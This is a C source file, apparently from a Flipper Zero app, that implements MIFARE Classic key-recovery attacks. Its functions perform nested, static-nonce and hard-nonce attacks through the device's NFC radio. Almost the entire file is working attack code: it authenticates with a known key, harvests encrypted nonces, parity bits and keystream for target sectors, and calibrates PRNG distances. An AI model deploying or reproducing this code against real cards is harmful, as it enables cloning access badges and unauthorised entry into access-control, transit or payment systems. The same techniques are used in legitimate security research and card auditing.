nested.c 19 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718
  1. #include "nested.h"
  2. #include <furi_hal_nfc.h>
  3. #include "../../lib/parity/parity.h"
  4. #include "../../lib/crypto1/crypto1.h"
  5. #define TAG "Nested"
  6. uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) {
  7. uint16_t crc = 0x6363; // NFCA_CRC_INIT
  8. uint8_t byte = 0;
  9. for(uint8_t i = 0; i < len; i++) {
  10. byte = buff[i];
  11. byte ^= (uint8_t)(crc & 0xff);
  12. byte ^= byte << 4;
  13. crc = (crc >> 8) ^ (((uint16_t)byte) << 8) ^ (((uint16_t)byte) << 3) ^
  14. (((uint16_t)byte) >> 4);
  15. }
  16. return crc;
  17. }
  18. void nfca_append_crc16(uint8_t* buff, uint16_t len) {
  19. uint16_t crc = nfca_get_crc16(buff, len);
  20. buff[len] = (uint8_t)crc;
  21. buff[len + 1] = (uint8_t)(crc >> 8);
  22. }
  23. bool mifare_sendcmd_short(
  24. Crypto1* crypto,
  25. FuriHalNfcTxRxContext* tx_rx,
  26. bool crypted,
  27. uint32_t cmd,
  28. uint32_t data) {
  29. uint16_t pos;
  30. uint8_t dcmd[4] = {cmd, data, 0x00, 0x00};
  31. nfca_append_crc16(dcmd, 2);
  32. memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
  33. memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
  34. if(crypted) {
  35. for(pos = 0; pos < 4; pos++) {
  36. uint8_t res = crypto1_byte(crypto, 0x00, 0) ^ dcmd[pos];
  37. tx_rx->tx_data[pos] = res;
  38. tx_rx->tx_parity[0] |=
  39. (((crypto1_filter(crypto->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7 - pos));
  40. }
  41. tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
  42. tx_rx->tx_bits = 4 * 8;
  43. } else {
  44. for(pos = 0; pos < 2; pos++) {
  45. tx_rx->tx_data[pos] = dcmd[pos];
  46. }
  47. tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxNoCrc;
  48. tx_rx->tx_bits = 2 * 8;
  49. }
  50. if(!furi_hal_nfc_tx_rx(tx_rx, 6)) return false;
  51. return true;
  52. }
  53. bool mifare_classic_authex(
  54. Crypto1* crypto,
  55. FuriHalNfcTxRxContext* tx_rx,
  56. uint32_t uid,
  57. uint32_t blockNo,
  58. uint32_t keyType,
  59. uint64_t ui64Key,
  60. bool isNested,
  61. uint32_t* ntptr) {
  62. uint32_t nt, ntpp; // Supplied tag nonce
  63. uint8_t nr[4];
  64. // "random" reader nonce:
  65. nfc_util_num2bytes(prng_successor(0, 32), 4, nr); // DWT->CYCCNT
  66. // Transmit MIFARE_CLASSIC_AUTH
  67. if(!mifare_sendcmd_short(crypto, tx_rx, isNested, 0x60 + (keyType & 0x01), blockNo)) {
  68. return false;
  69. };
  70. memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));
  71. memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));
  72. nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
  73. if(isNested) crypto1_reset(crypto); // deinit
  74. crypto1_init(crypto, ui64Key);
  75. if(isNested) {
  76. nt = crypto1_word(crypto, nt ^ uid, 1) ^ nt;
  77. } else {
  78. crypto1_word(crypto, nt ^ uid, 0);
  79. }
  80. // save Nt
  81. if(ntptr) *ntptr = nt;
  82. // Generate (encrypted) nr+parity by loading it into the cipher (Nr)
  83. tx_rx->tx_parity[0] = 0;
  84. for(uint8_t i = 0; i < 4; i++) {
  85. tx_rx->tx_data[i] = crypto1_byte(crypto, nr[i], 0) ^ nr[i];
  86. tx_rx->tx_parity[0] |=
  87. (((crypto1_filter(crypto->odd) ^ oddparity8(nr[i])) & 0x01) << (7 - i));
  88. }
  89. nt = prng_successor(nt, 32);
  90. for(uint8_t i = 4; i < 8; i++) {
  91. nt = prng_successor(nt, 8);
  92. tx_rx->tx_data[i] = crypto1_byte(crypto, 0x00, 0) ^ (nt & 0xff);
  93. tx_rx->tx_parity[0] |=
  94. (((crypto1_filter(crypto->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7 - i));
  95. }
  96. tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;
  97. tx_rx->tx_bits = 8 * 8;
  98. if(!furi_hal_nfc_tx_rx(tx_rx, 25)) {
  99. return false;
  100. };
  101. uint32_t answer = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
  102. ntpp = prng_successor(nt, 32) ^ crypto1_word(crypto, 0, 0);
  103. if(answer != ntpp) {
  104. return false;
  105. }
  106. return true;
  107. }
  108. static int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, const uint8_t* parity) {
  109. return ((oddparity8((Nt >> 24) & 0xFF) ==
  110. ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ FURI_BIT(Ks1, 16))) &&
  111. (oddparity8((Nt >> 16) & 0xFF) ==
  112. ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ FURI_BIT(Ks1, 8))) &&
  113. (oddparity8((Nt >> 8) & 0xFF) ==
  114. ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ FURI_BIT(Ks1, 0)))) ?
  115. 1 :
  116. 0;
  117. }
  118. void nonce_distance(uint32_t* msb, uint32_t* lsb) {
  119. uint16_t x = 1, pos;
  120. uint8_t calc_ok = 0;
  121. for(uint16_t i = 1; i; ++i) {
  122. pos = (x & 0xff) << 8 | x >> 8;
  123. if((pos == *msb) & !(calc_ok >> 0 & 0x01)) {
  124. *msb = i;
  125. calc_ok |= 0x01;
  126. }
  127. if((pos == *lsb) & !(calc_ok >> 1 & 0x01)) {
  128. *lsb = i;
  129. calc_ok |= 0x02;
  130. }
  131. if(calc_ok == 0x03) {
  132. return;
  133. }
  134. x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
  135. }
  136. }
  137. bool validate_prng_nonce(uint32_t nonce) {
  138. uint32_t msb = nonce >> 16;
  139. uint32_t lsb = nonce & 0xffff;
  140. nonce_distance(&msb, &lsb);
  141. return ((65535 - msb + lsb) % 65535) == 16;
  142. }
  143. MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo) {
  144. uint32_t nonces[5] = {};
  145. uint8_t sameNonces = 0;
  146. uint8_t hardNonces = 0;
  147. Crypto1 crypt;
  148. Crypto1* crypto = {&crypt};
  149. for(int32_t i = 0; i < 5; i++) {
  150. // Setup nfc poller
  151. nfc_activate();
  152. furi_hal_nfc_activate_nfca(100, NULL);
  153. // Start communication
  154. bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60, blockNo);
  155. if(!success) {
  156. continue;
  157. };
  158. uint32_t nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
  159. if(nt == 0) continue;
  160. if(!validate_prng_nonce(nt)) hardNonces++;
  161. nonces[i] = nt;
  162. nfc_deactivate();
  163. }
  164. for(int32_t i = 0; i < 5; i++) {
  165. for(int32_t j = 0; j < 5; j++) {
  166. if(i != j && nonces[j] && nonces[i] == nonces[j]) {
  167. sameNonces++;
  168. }
  169. }
  170. }
  171. if(!nonces[4]) {
  172. return MifareNestedNonceNoTag;
  173. }
  174. if(sameNonces > 3) {
  175. return MifareNestedNonceStatic;
  176. }
  177. if(hardNonces > 3) {
  178. return MifareNestedNonceHard;
  179. }
  180. return MifareNestedNonceWeak;
  181. }
  182. struct nonce_info_static nested_static_nonce_attack(
  183. FuriHalNfcTxRxContext* tx_rx,
  184. uint8_t blockNo,
  185. uint8_t keyType,
  186. uint8_t targetBlockNo,
  187. uint8_t targetKeyType,
  188. uint64_t ui64Key) {
  189. uint32_t cuid = 0;
  190. Crypto1* crypto = malloc(sizeof(Crypto1));
  191. struct nonce_info_static r;
  192. r.full = false;
  193. // Setup nfc poller
  194. nfc_activate();
  195. if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
  196. free(crypto);
  197. return r;
  198. }
  199. r.cuid = cuid;
  200. uint32_t nt1;
  201. uint32_t nt_unused;
  202. crypto1_reset(crypto);
  203. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  204. if(targetKeyType == 1 && nt1 == 0x009080A2) {
  205. r.target_nt[0] = prng_successor(nt1, 161);
  206. r.target_nt[1] = prng_successor(nt1, 321);
  207. } else {
  208. r.target_nt[0] = prng_successor(nt1, 160);
  209. r.target_nt[1] = prng_successor(nt1, 320);
  210. }
  211. bool success =
  212. mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
  213. if(!success) {
  214. free(crypto);
  215. return r;
  216. };
  217. uint32_t nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
  218. r.target_ks[0] = nt2 ^ r.target_nt[0];
  219. nfc_activate();
  220. if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
  221. free(crypto);
  222. return r;
  223. }
  224. crypto1_reset(crypto);
  225. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  226. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt_unused);
  227. success =
  228. mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
  229. free(crypto);
  230. if(!success) {
  231. return r;
  232. };
  233. uint32_t nt3 = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);
  234. r.target_ks[1] = nt3 ^ r.target_nt[1];
  235. r.full = true;
  236. nfc_deactivate();
  237. return r;
  238. }
  239. uint32_t nested_calibrate_distance(
  240. FuriHalNfcTxRxContext* tx_rx,
  241. uint8_t blockNo,
  242. uint8_t keyType,
  243. uint64_t ui64Key,
  244. uint32_t delay,
  245. bool full) {
  246. uint32_t cuid = 0;
  247. Crypto1* crypto = malloc(sizeof(Crypto1));
  248. uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
  249. uint32_t max_prng_value = full ? 65565 : 1200;
  250. uint32_t rounds = full ? 5 : 17; // full does not require precision
  251. uint32_t collected = 0;
  252. for(rtr = 0; rtr < rounds; rtr++) {
  253. nfc_activate();
  254. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  255. if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1)) {
  256. continue;
  257. }
  258. furi_delay_us(delay);
  259. if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2)) {
  260. continue;
  261. }
  262. // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
  263. uint32_t nttmp = prng_successor(nt1, 100);
  264. for(i = 101; i < max_prng_value; i++) {
  265. nttmp = prng_successor(nttmp, 1);
  266. if(nttmp == nt2) break;
  267. }
  268. if(i != max_prng_value) {
  269. if(rtr != 0) {
  270. davg += i;
  271. dmin = MIN(dmin, i);
  272. dmax = MAX(dmax, i);
  273. } else {
  274. dmin = dmax = i;
  275. }
  276. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
  277. collected++;
  278. } else {
  279. unsuccessful_tries++;
  280. if(unsuccessful_tries > 12) {
  281. free(crypto);
  282. FURI_LOG_E(
  283. TAG,
  284. "Tag isn't vulnerable to nested attack (random numbers are not predictable)");
  285. return 0;
  286. }
  287. }
  288. }
  289. if(collected > 1) davg = (davg + (collected - 1) / 2) / (collected - 1);
  290. davg = MIN(MAX(dmin, davg), dmax);
  291. FURI_LOG_I(
  292. TAG,
  293. "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu collected=%lu",
  294. rtr,
  295. dmin,
  296. dmax,
  297. davg,
  298. collected);
  299. free(crypto);
  300. nfc_deactivate();
  301. return davg;
  302. }
  303. struct distance_info nested_calibrate_distance_info(
  304. FuriHalNfcTxRxContext* tx_rx,
  305. uint8_t blockNo,
  306. uint8_t keyType,
  307. uint64_t ui64Key) {
  308. uint32_t cuid = 0;
  309. Crypto1* crypto = malloc(sizeof(Crypto1));
  310. uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;
  311. struct distance_info r;
  312. r.min_prng = 0;
  313. r.max_prng = 0;
  314. r.mid_prng = 0;
  315. for(rtr = 0; rtr < 10; rtr++) {
  316. nfc_activate();
  317. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  318. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  319. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  320. // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160
  321. uint32_t nttmp = prng_successor(nt1, 1);
  322. for(i = 2; i < 65565; i++) {
  323. nttmp = prng_successor(nttmp, 1);
  324. if(nttmp == nt2) break;
  325. }
  326. if(i != 65565) {
  327. if(rtr != 0) {
  328. davg += i;
  329. if(dmin == 0) {
  330. dmin = i;
  331. } else {
  332. dmin = MIN(dmin, i);
  333. }
  334. dmax = MAX(dmax, i);
  335. }
  336. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i);
  337. } else {
  338. unsuccessful_tries++;
  339. if(unsuccessful_tries > 12) {
  340. free(crypto);
  341. FURI_LOG_E(
  342. TAG,
  343. "Tag isn't vulnerable to nested attack (random numbers are not predictable)");
  344. return r;
  345. }
  346. }
  347. }
  348. if(rtr > 1) davg = (davg + (rtr - 1) / 2) / (rtr - 1);
  349. FURI_LOG_I(
  350. TAG, "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu", rtr, dmin, dmax, davg);
  351. r.min_prng = dmin;
  352. r.max_prng = dmax;
  353. r.mid_prng = davg;
  354. free(crypto);
  355. nfc_deactivate();
  356. return r;
  357. }
  358. struct nonce_info nested_attack(
  359. FuriHalNfcTxRxContext* tx_rx,
  360. uint8_t blockNo,
  361. uint8_t keyType,
  362. uint8_t targetBlockNo,
  363. uint8_t targetKeyType,
  364. uint64_t ui64Key,
  365. uint32_t distance,
  366. uint32_t delay) {
  367. uint32_t cuid = 0;
  368. Crypto1* crypto = malloc(sizeof(Crypto1));
  369. uint8_t par_array[4] = {0x00};
  370. uint32_t nt1, nt2, ks1, i = 0, j = 0;
  371. struct nonce_info r;
  372. uint32_t dmin = distance - 2;
  373. uint32_t dmax = distance + 2;
  374. r.full = false;
  375. for(i = 0; i < 2; i++) { // look for exactly two different nonces
  376. r.target_nt[i] = 0;
  377. while(r.target_nt[i] == 0) { // continue until we have an unambiguous nonce
  378. nfc_activate();
  379. if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
  380. free(crypto);
  381. return r;
  382. }
  383. r.cuid = cuid;
  384. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  385. furi_delay_us(delay);
  386. bool success = mifare_sendcmd_short(
  387. crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);
  388. if(!success) continue;
  389. nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);
  390. // Parity validity check
  391. for(j = 0; j < 4; j++) {
  392. par_array[j] =
  393. (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
  394. }
  395. uint32_t ncount = 0;
  396. uint32_t nttest = prng_successor(nt1, dmin - 1);
  397. for(j = dmin; j < dmax + 1; j++) {
  398. nttest = prng_successor(nttest, 1);
  399. ks1 = nt2 ^ nttest;
  400. if(valid_nonce(nttest, nt2, ks1, par_array)) {
  401. if(ncount > 0) { // we are only interested in disambiguous nonces, try again
  402. FURI_LOG_D(TAG, "Nonce#%lu: dismissed (ambiguous), ntdist=%lu", i + 1, j);
  403. r.target_nt[i] = 0;
  404. break;
  405. }
  406. if(delay) {
  407. // will predict later
  408. r.target_nt[i] = nt1;
  409. r.target_ks[i] = nt2;
  410. } else {
  411. r.target_nt[i] = nttest;
  412. r.target_ks[i] = ks1;
  413. }
  414. memcpy(&r.parity[i], par_array, 4);
  415. ncount++;
  416. if(i == 1 &&
  417. (r.target_nt[0] == r.target_nt[1] ||
  418. r.target_ks[0] == r.target_ks[1])) { // we need two different nonces
  419. r.target_nt[i] = 0;
  420. FURI_LOG_D(TAG, "Nonce#2: dismissed (= nonce#1), ntdist=%lu", j);
  421. break;
  422. }
  423. FURI_LOG_D(TAG, "Nonce#%lu: valid, ntdist=%lu", i + 1, j);
  424. }
  425. }
  426. if(r.target_nt[i] == 0 && j == dmax + 1) {
  427. FURI_LOG_D(TAG, "Nonce#%lu: dismissed (all invalid)", i + 1);
  428. }
  429. }
  430. }
  431. if(r.target_nt[0] && r.target_nt[1]) {
  432. r.full = true;
  433. }
  434. free(crypto);
  435. nfc_deactivate();
  436. return r;
  437. }
  438. struct nonce_info_hard nested_hard_nonce_attack(
  439. FuriHalNfcTxRxContext* tx_rx,
  440. uint8_t blockNo,
  441. uint8_t keyType,
  442. uint8_t targetBlockNo,
  443. uint8_t targetKeyType,
  444. uint64_t ui64Key,
  445. uint32_t* found,
  446. uint32_t* first_byte_sum,
  447. Stream* file_stream) {
  448. uint32_t cuid = 0;
  449. uint8_t same = 0;
  450. uint64_t previous = 0;
  451. Crypto1* crypto = malloc(sizeof(Crypto1));
  452. uint8_t par_array[4] = {0x00};
  453. struct nonce_info_hard r;
  454. r.full = false;
  455. r.static_encrypted = false;
  456. for(uint32_t i = 0; i < 8; i++) {
  457. nfc_activate();
  458. if(!furi_hal_nfc_activate_nfca(200, &cuid)) {
  459. free(crypto);
  460. return r;
  461. }
  462. r.cuid = cuid;
  463. if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL))
  464. continue;
  465. if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo))
  466. continue;
  467. uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4);
  468. for(uint32_t j = 0; j < 4; j++) {
  469. par_array[j] =
  470. (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));
  471. }
  472. uint8_t pbits = 0;
  473. for(uint8_t j = 0; j < 4; j++) {
  474. uint8_t p = oddparity8(tx_rx->rx_data[j]);
  475. if(par_array[j]) {
  476. p ^= 1;
  477. }
  478. pbits <<= 1;
  479. pbits |= p;
  480. }
  481. // update unique nonces
  482. if(!found[tx_rx->rx_data[0]]) {
  483. *first_byte_sum += evenparity32(pbits & 0x08);
  484. found[tx_rx->rx_data[0]]++;
  485. }
  486. if(nt == previous) {
  487. same++;
  488. }
  489. previous = nt;
  490. FuriString* row = furi_string_alloc_printf("%llu|%u\n", nt, pbits);
  491. stream_write_string(file_stream, row);
  492. FURI_LOG_D(TAG, "Accured %lu/8 nonces", i + 1);
  493. furi_string_free(row);
  494. }
  495. if(same > 4) {
  496. r.static_encrypted = true;
  497. }
  498. r.full = true;
  499. free(crypto);
  500. nfc_deactivate();
  501. return r;
  502. }
  503. NestedCheckKeyResult nested_check_key(
  504. FuriHalNfcTxRxContext* tx_rx,
  505. uint8_t blockNo,
  506. uint8_t keyType,
  507. uint64_t ui64Key) {
  508. uint32_t cuid = 0;
  509. uint32_t nt;
  510. nfc_activate();
  511. if(!furi_hal_nfc_activate_nfca(200, &cuid)) return NestedCheckKeyNoTag;
  512. FURI_LOG_D(
  513. TAG, "Checking %c key %012llX for block %u", !keyType ? 'A' : 'B', ui64Key, blockNo);
  514. Crypto1* crypto = malloc(sizeof(Crypto1));
  515. bool success =
  516. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt);
  517. free(crypto);
  518. nfc_deactivate();
  519. return success ? NestedCheckKeyValid : NestedCheckKeyInvalid;
  520. }
  521. bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType) {
  522. uint32_t cuid = 0;
  523. nfc_activate();
  524. if(!furi_hal_nfc_activate_nfca(200, &cuid)) return false;
  525. Crypto1* crypto = malloc(sizeof(Crypto1));
  526. bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60 + (keyType & 0x01), blockNo);
  527. free(crypto);
  528. nfc_deactivate();
  529. return success;
  530. }
  531. void nested_get_data(FuriHalNfcDevData* dev_data) {
  532. nfc_activate();
  533. furi_hal_nfc_detect(dev_data, 400);
  534. nfc_deactivate();
  535. }
  536. void nfc_activate() {
  537. nfc_deactivate();
  538. // Setup nfc poller
  539. furi_hal_nfc_exit_sleep();
  540. furi_hal_nfc_ll_txrx_on();
  541. furi_hal_nfc_ll_poll();
  542. if(furi_hal_nfc_ll_set_mode(
  543. FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106) !=
  544. FuriHalNfcReturnOk)
  545. return;
  546. furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER);
  547. furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER);
  548. furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc);
  549. furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA);
  550. }
  551. void nfc_deactivate() {
  552. furi_hal_nfc_ll_txrx_off();
  553. furi_hal_nfc_start_sleep();
  554. furi_hal_nfc_sleep();
  555. }